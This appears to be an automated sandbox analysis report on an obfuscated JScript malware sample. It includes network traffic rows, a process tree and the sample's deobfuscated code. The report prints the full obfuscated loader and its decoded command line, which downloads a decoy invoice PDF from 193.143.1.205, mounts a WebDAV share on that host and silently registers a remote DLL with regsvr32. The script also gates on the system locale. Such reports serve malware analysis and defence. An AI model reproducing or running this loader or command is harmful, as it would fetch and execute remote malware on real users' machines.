Jan 10, 2025 23:21:37.695604086 CET	1236	IN	Data Raw: b5 ad f8 d4 ad f1 fa 27 f9 4d b7 ff 84 00 40 a5 55 6e 65 f8 9c 7c 32 31 34 3c 30 54 c7 d0 eb 26 86 5e a6 18 7a 3a 8c a1 ef 5d 0c 7d de c7 d0 67 5d 09 0d 62 e8 eb 26 86 ee a5 18 ba 3f 8f a1 e7 26 86 de 3e dd df 35 31 f4 c1 c5 50 8e 0d dd ae a9 6f Data Ascii: 'M@Une\|214<0T&^z:]}g]b&?&>51PoN%,.[nmk-_BW?]\r}B`Qa8zs&711bC%21gm\|c#1t*SKvk>~}h]
Jan 10, 2025 23:21:37.695625067 CET	896	IN	Data Raw: db 7e a1 b7 5c 41 e1 9d 56 ff 82 ae f8 36 5b e8 45 0c 5f c7 f2 4b b9 e8 cb b7 c6 37 cf 12 d7 b0 99 7f 80 00 80 b5 c4 9d 10 9f 9b ba 03 43 1f d4 81 a1 29 86 5e 5e b4 31 f4 74 18 43 f7 9a 18 ba 37 8f a1 ed a6 dc 34 1c da cc 87 0e 4b e8 68 0c 3d 6e Data Ascii: ~\AV6[E_K7C)^^1tC74Kh=nby~m0X].5rbXTtE/Q\reE_-zm=]_{E`TZ~F}i_Jnp}QqZ'C?V
Jan 10, 2025 23:21:37.695660114 CET	1236	IN	Data Raw: ff 6d 63 e8 87 79 0c 3d 3d e9 62 e8 a5 c4 d0 ee d8 d0 26 86 3e a4 18 6a 8e 0d 6d ff 89 c9 a6 dc 0d 9b fa e6 04 00 00 30 0d be 58 02 80 09 f9 fb 6d f8 2d fa 30 51 3d e4 f7 5b 56 7e a3 7e d1 52 a0 33 41 d8 7d 74 f1 49 71 f3 b2 77 51 27 fd 62 1d 46 Data Ascii: mcy==b&>jm0Xm-0Q=[V~~R3A}tIqwQ'bFMs>d,Qlsj>US*r5+'BV`}d9}sWy>YY~n,/bu,;mxP~6/V?RYJmchs`h'Nm--\hc(
Jan 10, 2025 23:21:37.695681095 CET	1236	IN	Data Raw: 3e 29 6b a6 fa b9 d7 7a df 7b e7 a4 bf 9f 7e 59 6a a3 52 45 73 49 34 8c 59 3e 83 16 86 f5 e4 6a 75 a2 3a e8 85 f3 aa e5 cb c8 25 51 53 69 73 13 97 85 ab 2a 8c d0 9a 41 d1 5c a5 35 13 73 66 90 b0 70 79 e6 da ca 97 97 2b 7a b9 82 56 d9 43 2b 4b 68 Data Ascii: >)kz{~YjREsI4Y>ju:%QSis*A\5sfpy+zVC+KhXs}}j6AC?P}Cf~<_~GB]N{;\|`L80MmbYCn1+=MCWbqC/tP)k6`\|o5%47;Vr\&
Jan 10, 2025 23:21:37.695702076 CET	1236	IN	Data Raw: 37 07 77 ce 63 e8 c9 ed 49 13 43 6f 24 86 1e a4 18 2a c3 a1 35 49 f4 7d 57 42 db 1d b9 6d 0c dd b7 31 f4 ec b4 f9 1d 2f e5 d8 d0 9b c7 79 0c e5 d8 d0 69 4c 7d 73 02 00 00 98 06 5f 2c 01 c0 76 98 fb 6a 61 41 6e 79 21 6d ee bc cb d1 63 fe ca 3d 34 Data Ascii: 7wcICo$5I}WBm1/yiL}s_,vjaAny!mc=4LdLOJH_[?EfW$:P2"HI34PY\1{}*0c:S!4,fzx6"4Ts~~\|5fUGKhe?0P3K~0d80]f6WD
Jan 10, 2025 23:21:37.700540066 CET	104	IN	Data Raw: 00 4c 83 2f 96 00 60 d3 cc 1d b5 66 2c 34 ec 3b 52 42 c3 f3 fe 84 3f 4d 32 dc 69 69 86 f2 f4 b1 7a 52 2b 72 a3 5b b9 06 94 26 07 65 14 ce 94 d0 d4 40 53 fd fc e6 9b 6f fe 47 f9 a6 95 aa e8 ec 97 cd 7e 71 1a 11 fd e9 a7 9f 52 1e 4a 2d 26 d7 43 25 Data Ascii: L/`f,4;RB?M2iizR+r[&e@SoG~qRJ-&C%*%Ex9rdO_Fnm

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.8	49705	193.143.1.205	8888	5444	C:\Windows\System32\net.exe

Timestamp	Bytes transferred	Direction	Data
Jan 10, 2025 23:21:39.519117117 CET	107	OUT	OPTIONS / HTTP/1.1 Connection: Keep-Alive User-Agent: DavClnt translate: f Host: 193.143.1.205:8888
Jan 10, 2025 23:21:40.328433037 CET	237	IN	HTTP/1.1 500 Internal Server Error Server: nginx/1.22.1 Date: Fri, 10 Jan 2025 22:21:40 GMT Content-Type: text/plain; charset=utf-8 Content-Length: 22 Connection: keep-alive X-Content-Type-Options: nosniff Data Raw: 49 6e 74 65 72 6e 61 6c 20 73 65 72 76 65 72 20 65 72 72 6f 72 0a Data Ascii: Internal server error

Target ID:	0
Start time:	17:21:33
Start date:	10/01/2025
Path:	C:\Windows\System32\wscript.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\434027412290322097.js"
Imagebase:	0x7ff6c00f0000
File size:	170'496 bytes
MD5 hash:	A47CBE969EA935BDD3AB568BB126BC80
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	2
Start time:	17:21:33
Start date:	10/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\115074565464.dll
Imagebase:	0x7ff64a920000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	17:21:33
Start date:	10/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6ee680000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	17:21:33
Start date:	10/01/2025
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Imagebase:	0x7ff6cb6b0000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	5
Start time:	17:21:38
Start date:	10/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"
Imagebase:	0x7ff6e8200000
File size:	5'641'176 bytes
MD5 hash:	24EAD1C46A47022347DC0F05F6EFBB8C
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	6
Start time:	17:21:38
Start date:	10/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	cmd /c net use \\193.143.1.205@8888\davwwwroot\
Imagebase:	0x7ff64a920000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	7
Start time:	17:21:38
Start date:	10/01/2025
Path:	C:\Windows\System32\net.exe
Wow64 process (32bit):	false
Commandline:	net use \\193.143.1.205@8888\davwwwroot\
Imagebase:	0x7ff601e70000
File size:	59'904 bytes
MD5 hash:	0BD94A338EEA5A4E1F2830AE326E6D19
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	8
Start time:	17:21:38
Start date:	10/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215
Imagebase:	0x7ff79c940000
File size:	3'581'912 bytes
MD5 hash:	9B38E8E8B6DD9622D24B53E095C5D9BE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	9
Start time:	17:21:38
Start date:	10/01/2025
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Imagebase:	0x7ff67e6d0000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	10
Start time:	17:21:39
Start date:	10/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2088 --field-trial-handle=1640,i,13621369511104227895,15856102786190916547,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8
Imagebase:	0x7ff79c940000
File size:	3'581'912 bytes
MD5 hash:	9B38E8E8B6DD9622D24B53E095C5D9BE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

JavaScript Code

Call Graph

Executed
Not Executed

Script:

Code
0	function uvbptzvy() {	uvbptzvy() ➔ undefined
1	dpcihpgs = [ 1031, 3079, 5127, 4103, 2055, 3072 ];
2	var utzcbdtvg = this[unumb + necioetmp + ajxxc + ntefmst + xzfyluzu + zpnicew + emrmf + qjuxcc] ( this[afvvxr + zuzrjchfy + mfkqds + ajxxc + oarpg + unumb + qjuxcc][yanrec + ajxxc + xzfyluzu + necioetmp + qjuxcc + xzfyluzu + esgkyjge + elfdiuu + euqxawmt + xzfyluzu + mfkqds + qjuxcc] ( afvvxr + zuzrjchfy + mfkqds + ajxxc + oarpg + unumb + qjuxcc + tjdlfevoo + zuzrjchfy + shfuc + xzfyluzu + ykazawyfz + ykazawyfz ) [yiujvl + xzfyluzu + mkjza + yiujvl + xzfyluzu + necioetmp + dcsdlg] ( lqpokpdlx + byhydgzuv + foczf + yihdvc + qqjahkjge + yanrec + xkuwqdvib + yiujvl + yiujvl + foczf + iasncic + davgtl + qqjahkjge + xkuwqdvib + zuzrjchfy + foczf + yiujvl + lokruawj + yanrec + eiisaeu + emrmf + qjuxcc + ajxxc + eiisaeu + ykazawyfz + fwqatatza + sbbcikye + necioetmp + emrmf + xzfyluzu + ykazawyfz + lokruawj + zpnicew + emrmf + qjuxcc + xzfyluzu + ajxxc + emrmf + necioetmp + qjuxcc + oarpg + eiisaeu + emrmf + necioetmp + ykazawyfz + lokruawj + nzlachnnv + eiisaeu + mfkqds + necioetmp + ykazawyfz + xzfyluzu ), 16 );	Windows Script Host.CreateObject("WScript.Shell") ➔ RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale") ➔ "00000C00" parseInt("00000C00",16) ➔ 3072
3	for ( llrvugoiv = 0 ; llrvugoiv < dpcihpgs[ykazawyfz + xzfyluzu + emrmf + mkjza + qjuxcc + shfuc] ; ++ llrvugoiv )
4	{
5	if ( utzcbdtvg == dpcihpgs[llrvugoiv] )
6	{
7	utzcbdtvg = true;
8	break ;
9	}
10	}
11	if ( utzcbdtvg !== true )
12	this[afvvxr + zuzrjchfy + mfkqds + ajxxc + oarpg + unumb + qjuxcc][vuloryx + avwkbxvzv + oarpg + qjuxcc] ( );
13	this[afvvxr + zuzrjchfy + mfkqds + ajxxc + oarpg + unumb + qjuxcc][yanrec + ajxxc + xzfyluzu + necioetmp + qjuxcc + xzfyluzu + esgkyjge + elfdiuu + euqxawmt + xzfyluzu + mfkqds + qjuxcc] ( afvvxr + zuzrjchfy + mfkqds + ajxxc + oarpg + unumb + qjuxcc + tjdlfevoo + zuzrjchfy + shfuc + xzfyluzu + ykazawyfz + ykazawyfz ) [ajxxc + avwkbxvzv + emrmf] ( mfkqds + qhrrl + dcsdlg + fwqatatza + xtmvhww + mfkqds + fwqatatza + unumb + eiisaeu + chzgmi + xzfyluzu + ajxxc + ntefmst + shfuc + xzfyluzu + ykazawyfz + ykazawyfz + tjdlfevoo + xzfyluzu + nwdpupdrj + xzfyluzu + fwqatatza + scexvxzzr + yanrec + eiisaeu + qhrrl + qhrrl + necioetmp + emrmf + dcsdlg + fwqatatza + rdjwhqdyq + zpnicew + emrmf + qwmktbav + eiisaeu + qdhabqy + xzfyluzu + scexvxzzr + afvvxr + xzfyluzu + elfdiuu + yiujvl + xzfyluzu + ucrvj + avwkbxvzv + xzfyluzu + ntefmst + qjuxcc + fwqatatza + scexvxzzr + esgkyjge + avwkbxvzv + qjuxcc + qmuqzl + oarpg + ykazawyfz + xzfyluzu + fwqatatza + nusuo + qjuxcc + xzfyluzu + qhrrl + unumb + nusuo + lokruawj + oarpg + emrmf + qwmktbav + eiisaeu + oarpg + mfkqds + xzfyluzu + tjdlfevoo + unumb + dcsdlg + mijezlgof + fwqatatza + shfuc + qjuxcc + qjuxcc + unumb + xbdugah + xtmvhww + xtmvhww + yfxzaz + ngmwihbj + qkcdhnwbm + tjdlfevoo + yfxzaz + uveaaeli + qkcdhnwbm + tjdlfevoo + yfxzaz + tjdlfevoo + quhwllw + larosbner + zpqgp + xtmvhww + oarpg + emrmf + qwmktbav + eiisaeu + oarpg + mfkqds + xzfyluzu + tjdlfevoo + unumb + shfuc + unumb + rdjwhqdyq + rkfxmjzj + rkfxmjzj + ntefmst + qjuxcc + necioetmp + ajxxc + qjuxcc + fwqatatza + nusuo + qjuxcc + xzfyluzu + qhrrl + unumb + nusuo + lokruawj + oarpg + emrmf + qwmktbav + eiisaeu + oarpg + mfkqds + xzfyluzu + tjdlfevoo + unumb + dcsdlg + mijezlgof + rkfxmjzj + rkfxmjzj + mfkqds + qhrrl + dcsdlg + fwqatatza + xtmvhww + mfkqds + fwqatatza + emrmf + xzfyluzu + qjuxcc + fwqatatza + avwkbxvzv + ntefmst + xzfyluzu + fwqatatza + lokruawj + lokruawj + yfxzaz + ngmwihbj + qkcdhnwbm + tjdlfevoo + yfxzaz + uveaaeli + qkcdhnwbm + tjdlfevoo + yfxzaz + tjdlfevoo + quhwllw + larosbner + zpqgp + ptiuy + vyucvsobn + vyucvsobn + vyucvsobn + vyucvsobn + lokruawj + dcsdlg + necioetmp + qwmktbav + chzgmi + chzgmi + chzgmi + ajxxc + eiisaeu + eiisaeu + qjuxcc + lokruawj + rkfxmjzj + rkfxmjzj + mfkqds + qhrrl + dcsdlg + fwqatatza + xtmvhww + mfkqds + fwqatatza + ajxxc + xzfyluzu + mkjza + ntefmst + qwmktbav + ajxxc + qkcdhnwbm + quhwllw + fwqatatza + xtmvhww + ntefmst + fwqatatza + lokruawj + lokruawj + yfxzaz + ngmwihbj + qkcdhnwbm + tjdlfevoo + yfxzaz + uveaaeli + qkcdhnwbm + tjdlfevoo + yfxzaz + tjdlfevoo + quhwllw + larosbner + zpqgp + ptiuy + vyucvsobn + vyucvsobn + vyucvsobn + vyucvsobn + lokruawj + dcsdlg + necioetmp + qwmktbav + chzgmi + chzgmi + chzgmi + ajxxc + eiisaeu + eiisaeu + qjuxcc + lokruawj + yfxzaz + yfxzaz + zpqgp + larosbner + klwdjo + uveaaeli + zpqgp + wrjlu + zpqgp + uveaaeli + wrjlu + uveaaeli + tjdlfevoo + dcsdlg + ykazawyfz + ykazawyfz, 0, false );	Windows Script Host.CreateObject("WScript.Shell") ➔ run("cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\invoice.pdf http://193.143.1.205/invoice.php"&&start %temp%\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\115074565464.dll",0,false) ➔ 0
14	}
15	qjuxcc = "D";
16	qjuxcc = "Q";
17	qjuxcc = "m";
18	qjuxcc = "T";
19	qjuxcc = "u";
20	qjuxcc = "Q";
21	qjuxcc = "C";
22	qjuxcc = "w";
23	qjuxcc = "d";
24	qjuxcc = "q";
25	qjuxcc = "k";
26	qjuxcc = "e";
27	qjuxcc = "l";
28	qjuxcc = "w";
29	qjuxcc = "c";
30	qjuxcc = "a";
31	qjuxcc = "u";
32	qjuxcc = "o";
33	qjuxcc = "U";
34	qjuxcc = "t";
35	yfxzaz = "i";
36	yfxzaz = "k";
37	yfxzaz = "l";
38	yfxzaz = "c";
39	yfxzaz = "b";
40	yfxzaz = "t";
41	yfxzaz = "D";
42	yfxzaz = "X";
43	yfxzaz = "o";
44	yfxzaz = "e";
45	yfxzaz = "W";
46	yfxzaz = "o";
47	yfxzaz = "V";
48	yfxzaz = "R";
49	yfxzaz = "C";
50	yfxzaz = "e";
51	yfxzaz = "B";
52	yfxzaz = "N";
53	yfxzaz = "D";
54	yfxzaz = "p";
55	yfxzaz = "z";
56	yfxzaz = "V";
57	yfxzaz = "L";
58	yfxzaz = "o";
59	yfxzaz = "d";
60	yfxzaz = "P";
61	yfxzaz = "v";
62	yfxzaz = "O";
63	yfxzaz = "K";
64	yfxzaz = "w";
65	yfxzaz = "Y";
66	yfxzaz = "l";
67	yfxzaz = "n";
68	yfxzaz = "r";
69	yfxzaz = "A";
70	yfxzaz = "z";
71	yfxzaz = "I";
72	yfxzaz = "U";
73	yfxzaz = "V";
74	yfxzaz = "E";
75	yfxzaz = "B";
76	yfxzaz = "H";
77	yfxzaz = "1";
78	yiujvl = "T";
79	yiujvl = "q";
80	yiujvl = "N";
81	yiujvl = "Q";
82	yiujvl = "R";
83	mfkqds = "c";
84	rdjwhqdyq = "l";
85	rdjwhqdyq = "B";
86	rdjwhqdyq = "k";
87	rdjwhqdyq = "B";
88	rdjwhqdyq = "r";
89	rdjwhqdyq = "K";
90	rdjwhqdyq = "p";
91	rdjwhqdyq = "S";
92	rdjwhqdyq = "r";
93	rdjwhqdyq = "z";
94	rdjwhqdyq = "t";
95	rdjwhqdyq = "\"";
96	quhwllw = "d";
97	quhwllw = "F";
98	quhwllw = "g";
99	quhwllw = "D";
100	quhwllw = "h";
101	quhwllw = "l";
102	quhwllw = "w";
103	quhwllw = "w";
104	quhwllw = "k";
105	quhwllw = "i";
106	quhwllw = "X";
107	quhwllw = "n";
108	quhwllw = "q";
109	quhwllw = "2";
110	qkcdhnwbm = "O";
111	qkcdhnwbm = "G";
112	qkcdhnwbm = "q";
113	qkcdhnwbm = "P";
114	qkcdhnwbm = "L";
115	qkcdhnwbm = "y";
116	qkcdhnwbm = "O";
117	qkcdhnwbm = "h";
118	qkcdhnwbm = "g";
119	qkcdhnwbm = "f";
120	qkcdhnwbm = "H";
121	qkcdhnwbm = "Y";
122	qkcdhnwbm = "T";
123	qkcdhnwbm = "f";
124	qkcdhnwbm = "T";
125	qkcdhnwbm = "V";
126	qkcdhnwbm = "y";
127	qkcdhnwbm = "t";
128	qkcdhnwbm = "Q";
129	qkcdhnwbm = "v";
130	qkcdhnwbm = "b";
131	qkcdhnwbm = "w";
132	qkcdhnwbm = "M";
133	qkcdhnwbm = "R";
134	qkcdhnwbm = "g";
135	qkcdhnwbm = "g";
136	qkcdhnwbm = "S";
137	qkcdhnwbm = "R";
138	qkcdhnwbm = "c";
139	qkcdhnwbm = "r";
140	qkcdhnwbm = "R";
141	qkcdhnwbm = "C";
142	qkcdhnwbm = "3";
143	lokruawj = "v";
144	lokruawj = "L";
145	lokruawj = "j";
146	lokruawj = "X";
147	lokruawj = "B";
148	lokruawj = "T";
149	lokruawj = "m";
150	lokruawj = "f";
151	lokruawj = "X";
152	lokruawj = "d";
153	lokruawj = "S";
154	lokruawj = "J";
155	lokruawj = "P";
156	lokruawj = "b";
157	lokruawj = "K";
158	lokruawj = "D";
159	lokruawj = "F";
160	lokruawj = "U";
161	lokruawj = "J";
162	lokruawj = "v";
163	lokruawj = "G";
164	lokruawj = "t";
165	lokruawj = "v";
166	lokruawj = "s";
167	lokruawj = "Y";
168	lokruawj = "\\";
169	wrjlu = "P";
170	wrjlu = "A";
171	wrjlu = "O";
172	wrjlu = "C";
173	wrjlu = "Z";
174	wrjlu = "y";
175	wrjlu = "d";
176	wrjlu = "6";
177	necioetmp = "c";
178	necioetmp = "y";
179	necioetmp = "q";
180	necioetmp = "N";
181	necioetmp = "W";
182	necioetmp = "o";
183	necioetmp = "t";
184	necioetmp = "J";
185	necioetmp = "J";
186	necioetmp = "y";
187	necioetmp = "F";
188	necioetmp = "x";
189	necioetmp = "U";
190	necioetmp = "L";
191	necioetmp = "o";
192	necioetmp = "z";
193	necioetmp = "s";
194	necioetmp = "s";
195	necioetmp = "Q";
196	necioetmp = "E";
197	necioetmp = "d";
198	necioetmp = "L";
199	necioetmp = "D";
200	necioetmp = "e";
201	necioetmp = "B";
202	necioetmp = "p";
203	necioetmp = "b";
204	necioetmp = "K";
205	necioetmp = "O";
206	necioetmp = "O";
207	necioetmp = "x";
208	necioetmp = "J";
209	necioetmp = "j";
210	necioetmp = "N";
211	necioetmp = "n";
212	necioetmp = "u";
213	necioetmp = "T";
214	necioetmp = "r";
215	necioetmp = "r";
216	necioetmp = "x";
217	necioetmp = "a";
218	xzfyluzu = "a";
219	xzfyluzu = "T";
220	xzfyluzu = "E";
221	xzfyluzu = "t";
222	xzfyluzu = "g";
223	xzfyluzu = "V";
224	xzfyluzu = "q";
225	xzfyluzu = "m";
226	xzfyluzu = "c";
227	xzfyluzu = "r";
228	xzfyluzu = "t";
229	xzfyluzu = "B";
230	xzfyluzu = "T";
231	xzfyluzu = "e";
232	xzfyluzu = "J";
233	xzfyluzu = "L";
234	xzfyluzu = "Y";
235	xzfyluzu = "G";
236	xzfyluzu = "A";
237	xzfyluzu = "n";
238	xzfyluzu = "e";
239	xzfyluzu = "T";
240	xzfyluzu = "L";
241	xzfyluzu = "l";
242	xzfyluzu = "e";
243	ucrvj = "X";
244	ucrvj = "B";
245	ucrvj = "z";
246	ucrvj = "m";
247	ucrvj = "H";
248	ucrvj = "Q";
249	ucrvj = "G";
250	ucrvj = "F";
251	ucrvj = "n";
252	ucrvj = "T";
253	ucrvj = "Y";
254	ucrvj = "H";
255	ucrvj = "D";
256	ucrvj = "P";
257	ucrvj = "E";
258	ucrvj = "E";
259	ucrvj = "T";
260	ucrvj = "v";
261	ucrvj = "t";
262	ucrvj = "j";
263	ucrvj = "i";
264	ucrvj = "R";
265	ucrvj = "d";
266	ucrvj = "f";
267	ucrvj = "r";
268	ucrvj = "C";
269	ucrvj = "I";
270	ucrvj = "M";
271	ucrvj = "q";
272	qqjahkjge = "Z";
273	qqjahkjge = "B";
274	qqjahkjge = "a";
275	qqjahkjge = "m";
276	qqjahkjge = "Z";
277	qqjahkjge = "y";
278	qqjahkjge = "F";
279	qqjahkjge = "A";
280	qqjahkjge = "b";
281	qqjahkjge = "c";
282	qqjahkjge = "t";
283	qqjahkjge = "y";
284	qqjahkjge = "_";
285	nwdpupdrj = "G";
286	nwdpupdrj = "t";
287	nwdpupdrj = "W";
288	nwdpupdrj = "t";
289	nwdpupdrj = "b";
290	nwdpupdrj = "t";
291	nwdpupdrj = "z";
292	nwdpupdrj = "r";
293	nwdpupdrj = "W";
294	nwdpupdrj = "t";
295	nwdpupdrj = "e";
296	nwdpupdrj = "n";
297	nwdpupdrj = "Q";
298	nwdpupdrj = "b";
299	nwdpupdrj = "J";
300	nwdpupdrj = "U";
301	nwdpupdrj = "Z";
302	nwdpupdrj = "o";
303	nwdpupdrj = "o";
304	nwdpupdrj = "F";
305	nwdpupdrj = "j";
306	nwdpupdrj = "j";
307	nwdpupdrj = "G";
308	nwdpupdrj = "Y";
309	nwdpupdrj = "i";
310	nwdpupdrj = "F";
311	nwdpupdrj = "q";
312	nwdpupdrj = "e";
313	nwdpupdrj = "K";
314	nwdpupdrj = "b";
315	nwdpupdrj = "t";
316	nwdpupdrj = "m";
317	nwdpupdrj = "r";
318	nwdpupdrj = "h";
319	nwdpupdrj = "V";
320	nwdpupdrj = "a";
321	nwdpupdrj = "i";
322	nwdpupdrj = "Z";
323	nwdpupdrj = "J";
324	nwdpupdrj = "m";
325	nwdpupdrj = "x";
326	vuloryx = "e";
327	vuloryx = "p";
328	vuloryx = "b";
329	vuloryx = "Q";
330	vuloryx = "X";
331	vuloryx = "H";
332	vuloryx = "D";
333	vuloryx = "u";
334	vuloryx = "F";
335	vuloryx = "Z";
336	vuloryx = "Z";
337	vuloryx = "Y";
338	vuloryx = "O";
339	vuloryx = "f";
340	vuloryx = "o";
341	vuloryx = "d";
342	vuloryx = "n";
343	vuloryx = "Q";
344	dcsdlg = "m";
345	dcsdlg = "J";
346	dcsdlg = "Y";
347	dcsdlg = "k";
348	dcsdlg = "K";
349	dcsdlg = "l";
350	dcsdlg = "o";
351	dcsdlg = "r";
352	dcsdlg = "Q";
353	dcsdlg = "R";
354	dcsdlg = "E";
355	dcsdlg = "x";
356	dcsdlg = "L";
357	dcsdlg = "x";
358	dcsdlg = "B";
359	dcsdlg = "d";
360	dcsdlg = "U";
361	dcsdlg = "e";
362	dcsdlg = "B";
363	dcsdlg = "B";
364	dcsdlg = "s";
365	dcsdlg = "F";
366	dcsdlg = "w";
367	dcsdlg = "A";
368	dcsdlg = "s";
369	dcsdlg = "x";
370	dcsdlg = "Q";
371	dcsdlg = "c";
372	dcsdlg = "M";
373	dcsdlg = "I";
374	dcsdlg = "x";
375	dcsdlg = "d";
376	xkuwqdvib = "J";
377	xkuwqdvib = "f";
378	xkuwqdvib = "l";
379	xkuwqdvib = "b";
380	xkuwqdvib = "P";
381	xkuwqdvib = "X";
382	xkuwqdvib = "Y";
383	xkuwqdvib = "E";
384	xkuwqdvib = "e";
385	xkuwqdvib = "g";
386	xkuwqdvib = "X";
387	xkuwqdvib = "i";
388	xkuwqdvib = "z";
389	xkuwqdvib = "C";
390	xkuwqdvib = "W";
391	xkuwqdvib = "r";
392	xkuwqdvib = "F";
393	xkuwqdvib = "D";
394	xkuwqdvib = "l";
395	xkuwqdvib = "z";
396	xkuwqdvib = "u";
397	xkuwqdvib = "C";
398	xkuwqdvib = "G";
399	xkuwqdvib = "F";
400	xkuwqdvib = "J";
401	xkuwqdvib = "w";
402	xkuwqdvib = "U";
403	ptiuy = "v";
404	ptiuy = "@";
405	scexvxzzr = "I";
406	scexvxzzr = "A";
407	scexvxzzr = "d";
408	scexvxzzr = "W";
409	scexvxzzr = "e";
410	scexvxzzr = "O";
411	scexvxzzr = "O";
412	scexvxzzr = "t";
413	scexvxzzr = "k";
414	scexvxzzr = "W";
415	scexvxzzr = "K";
416	scexvxzzr = "i";
417	scexvxzzr = "B";
418	scexvxzzr = "a";
419	scexvxzzr = "p";
420	scexvxzzr = "-";
421	emrmf = "K";
422	emrmf = "Z";
423	emrmf = "P";
424	emrmf = "O";
425	emrmf = "i";
426	emrmf = "U";
427	emrmf = "T";
428	emrmf = "u";
429	emrmf = "O";
430	emrmf = "e";
431	emrmf = "w";
432	emrmf = "H";
433	emrmf = "k";
434	emrmf = "X";
435	emrmf = "P";
436	emrmf = "C";
437	emrmf = "t";
438	emrmf = "I";
439	emrmf = "H";
440	emrmf = "n";
441	qmuqzl = "E";
442	qmuqzl = "K";
443	qmuqzl = "Y";
444	qmuqzl = "k";
445	qmuqzl = "S";
446	qmuqzl = "T";
447	qmuqzl = "m";
448	qmuqzl = "Z";
449	qmuqzl = "F";
450	fwqatatza = "E";
451	fwqatatza = "n";
452	fwqatatza = "k";
453	fwqatatza = "A";
454	fwqatatza = "F";
455	fwqatatza = "V";
456	fwqatatza = "T";
457	fwqatatza = "X";
458	fwqatatza = "d";
459	fwqatatza = "n";
460	fwqatatza = "q";
461	fwqatatza = "h";
462	fwqatatza = "m";
463	fwqatatza = "f";
464	fwqatatza = "C";
465	fwqatatza = "Q";
466	fwqatatza = "D";
467	fwqatatza = "k";
468	fwqatatza = "V";
469	fwqatatza = "R";
470	fwqatatza = "w";
471	fwqatatza = "c";
472	fwqatatza = "e";
473	fwqatatza = "f";
474	fwqatatza = " ";
475	nzlachnnv = "f";
476	nzlachnnv = "a";
477	nzlachnnv = "z";
478	nzlachnnv = "W";
479	nzlachnnv = "r";
480	nzlachnnv = "f";
481	nzlachnnv = "N";
482	nzlachnnv = "x";
483	nzlachnnv = "A";
484	nzlachnnv = "n";
485	nzlachnnv = "i";
486	nzlachnnv = "O";
487	nzlachnnv = "q";
488	nzlachnnv = "O";
489	nzlachnnv = "S";
490	nzlachnnv = "f";
491	nzlachnnv = "O";
492	nzlachnnv = "K";
493	nzlachnnv = "Y";
494	nzlachnnv = "D";
495	nzlachnnv = "z";
